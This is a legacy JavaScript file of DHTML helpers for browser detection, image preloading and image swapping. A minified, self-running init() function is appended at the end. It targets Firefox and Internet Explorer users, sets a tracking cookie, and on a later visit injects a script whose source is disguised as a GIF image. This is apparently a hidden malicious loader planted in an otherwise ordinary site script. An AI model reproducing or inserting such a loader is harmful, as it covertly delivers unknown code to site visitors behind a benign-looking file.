var isDOM = (document.getElementById ? true : false);
var isIE4 = ((document.all && !isDOM) ? true : false);
var isNS4 = (document.layers ? true : false);
var isDyn = (isDOM || isIE4 || isNS4);

function getRef(id)
{
 if (isDOM) return document.getElementById(id);
 if (isIE4) return document.all[id];
 if (isNS4) return document.layers[id];
} // getRef

function getSty(id)
{
 return (isNS4 ? getRef(id) : getRef(id).style);
} // getSty


var gFrozenImage;

function Flexx_FreezeImage(n)
{
  gFrozenImage = Flexx_FindObj(n);
}


function Flexx_PreloadImages()
{
  var d=document;
  if(d.images)
  {
    if(!d.Flexx_p)
      d.Flexx_p=new Array();
    var i,j=d.Flexx_p.length,a=Flexx_PreloadImages.arguments;
    for(i=0; i<a.length; i++)
      if(a[i].indexOf("#")!=0)
      {
        d.Flexx_p[j]=new Image;
        d.Flexx_p[j++].src=a[i];
      }
  }
} // Flexx_PreloadImages


function Flexx_FindObj(n,d)
{
  var p,i,x;
  if(!d)
    d=document;
  if((p=n.indexOf("?"))>0&&parent.frames.length)
  {
    d=parent.frames[n.substring(p+1)].document;
    n=n.substring(0,p);
  }
  if(!(x=d[n])&&d.all)
    x=d.all[n];
  for(i=0;!x&&i<d.forms.length;i++)
    x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++)
    x=Flexx_FindObj(n,d.layers[i].document);
  if(!x && d.getElementById)
    x=d.getElementById(n);
  return x;
} Flexx_FindObj


function Flexx_SwapImage()
{
  var i,j=0,x,a=Flexx_SwapImage.arguments;
  for(i=0;i<(a.length-2);i+=3)
    if((x=Flexx_FindObj(a[i]))!=null)
    {
      if(gFrozenImage!=x)
      {
        if(!x.oSrc)
          x.oSrc=x.src;
        x.src=a[i+2];
      }
    }
}

function Flexx_SwapBackground()
{
  var i,j=0,x,a=Flexx_SwapBackground.arguments;
  for(i=0;i<(a.length-2);i+=3)
    if((x=Flexx_FindObj(a[i]))!=null)
    {
      if(gFrozenImage!=x)
      {
        if(!x.oSrc)
          x.oSrc=x.style.backgroundImage;
        x.style.backgroundImage=a[i+2];
      }
    }
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/vossenburcht.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();